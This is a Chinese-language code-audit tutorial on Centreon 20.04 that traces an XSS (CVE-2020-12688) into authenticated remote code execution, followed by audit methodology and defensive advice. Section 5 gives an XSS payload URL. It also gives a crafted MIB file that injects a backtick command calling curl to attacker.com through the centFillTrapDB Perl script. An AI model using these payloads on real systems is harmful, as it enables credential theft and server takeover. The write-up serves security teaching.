代码审计从0到1:Centreon One-click To RCE
字数 2060 2025-08-15 21:31:52
Centreon 代码审计与漏洞分析教学文档
1. 概述
Centreon (Merethis Centreon) 是法国 Centreon 公司开发的一套开源系统监控工具,主要用于监控网络、系统和应用程序等资源。本教学文档将详细分析 Centron V20.04 版本的安全审计过程,重点讲解从代码审计到远程代码执行(RCE)的完整漏洞链。
2. 目录结构分析
Centreon 的主要目录结构如下:
centreon/www/ # 网站根目录
├── include/ # 核心目录
│ ├── core/ # 核心功能
│ └── home/ # 用户界面相关
├── api/ # API接口
│ ├── class/ # API类文件
│ └── index.php # API路由
├── index.php # 主入口文件
├── main.php # PC端路由
└── main.get.php # 移动端路由
3. 核心路由机制
3.1 主入口路由
index.php: 主入口文件,负责登录认证,检查$_SESSION["centreon"]变量- 登录方式:账号密码或 token,逻辑位于
/centreon/www/include/core/login/processLogin.php
3.2 主要路由文件
-
main.get.php:
- 对输入数据进行全局过滤:
$_GET数组使用filter_var()过滤$_POST数组进行特殊字符编码
- 登录认证后,通过
p参数映射到对应功能页面 - 映射关系存储在数据库中
- 对输入数据进行全局过滤:
-
api/index.php:
- 另一个路由入口
- 通过
action参数调用对应类方法 - 同样需要登录认证
4. 安全机制分析
4.1 输入过滤
- 全局过滤:
main.get.php开头对输入数据进行过滤 - PDO 参数化查询:大部分 SQL 查询使用 PDO
- 特殊过滤函数:如
escape()用于转义特殊字符
4.2 访问控制
- 大部分功能页面不能直接访问,需通过路由
- 部分页面(如
rename.php)仅检查 session,可直接访问
5. 漏洞分析
5.1 XSS 漏洞 (CVE-2020-12688)
漏洞位置: centreon/include/home/customViews/rename.php
漏洞原因:
- 直接通过路径访问,绕过
main.get.php的全局过滤 - 46 行仅检查 session 存在性
- 59 行直接输出
$_REQUEST内容,未进行编码处理
利用方式:
- 构造恶意链接:
/centreon/include/home/customViews/rename.php?elementId=title_1&newName=<script>alert(1)</script> - 诱使已登录管理员访问
5.2 授权 RCE 漏洞
漏洞链:
- 通过 XSS 窃取管理员凭证
- 登录后上传恶意 MIB 文件
漏洞位置: formMibs.php
漏洞原因:
- 调用
shell_exec()执行 Perl 脚本处理 MIB 文件 - Perl 脚本
centFillTrapDB存在命令注入
详细分析:
-
文件上传处理:
- 路由: 设置
page=61703通过main.get.php访问 manufacturerId通过mnftr字段上传,但被filter_var()限制为整数
- 路由: 设置
-
命令执行流程:
/usr/share/centreon/bin/centFillTrapDB -f 'xxx.mib' -m 3 --severity=info 2>&1 -
Perl 脚本漏洞:
- 位于
/usr/share/perl5/vendor_perl/centreon/script/centFillTrapDB - 541 行执行反引号命令,
trap_lookup参数可控
- 位于
利用方式:
-
构造恶意 MIB 文件:
TRAP-TEST-MIB DEFINITIONS ::= BEGIN IMPORTS ucdExperimental FROM UCD-SNMP-MIB; test OBJECT IDENTIFIER ::= { ucdExperimental 999 } test-trap TRAP-TYPE ENTERPRISE test VARIABLES { sysLocation } DESCRIPTION "`curl http://attacker.com/`" ::= 999 END -
上传文件后触发命令执行
6. 代码审计方法论
6.1 审计思路
-
历史漏洞分析:
- 复现已知漏洞,了解框架结构
- 从漏洞中获取思路,举一反三
-
黑盒审计:
- 使用抓包工具测试可疑功能点
- 快速熟悉网站路由和功能
-
白盒审计:
- 重点审查入口脚本、路由机制
- 分析数据验证和过滤逻辑
- 从两个角度入手:
- 黑盒测试发现的可疑点
- 敏感关键字全局搜索
6.2 关键审计点
-
路由机制:
- 直接访问与路由访问的区别
- 认证绕过可能性
-
输入处理:
- 全局过滤机制
- 特殊字符处理
- 参数化查询使用情况
-
命令执行:
shell_exec(),system(),exec()等函数调用- 反序列化点
- 文件上传处理
-
权限控制:
- Session 验证机制
- 功能权限划分
7. 漏洞组合利用
本案例展示了典型的漏洞组合利用链:
- 首先发现 XSS 漏洞,绕过认证限制
- 利用 XSS 窃取管理员凭证
- 登录后利用文件上传功能触发 RCE
类似组合攻击思路还包括:
- 任意文件删除 + 认证绕过
- 信息泄露 + 未授权访问
- 反序列化 + 权限提升
8. 防御建议
-
输入验证:
- 所有输入都应经过严格验证
- 实施统一的过滤机制
-
输出编码:
- 对所有动态输出进行 HTML 编码
- 设置 HttpOnly 和 CSP 头
-
命令执行:
- 避免使用 shell 命令
- 如必须使用,应严格过滤所有参数
-
权限控制:
- 实施最小权限原则
- 重要操作需二次认证
-
安全开发:
- 定期安全审计
- 建立安全编码规范
9. 参考资源
通过本教学文档,读者可以全面了解 Centreon 系统的安全审计过程,掌握从代码审计到漏洞利用的完整方法论,并应用于其他系统的安全评估工作中。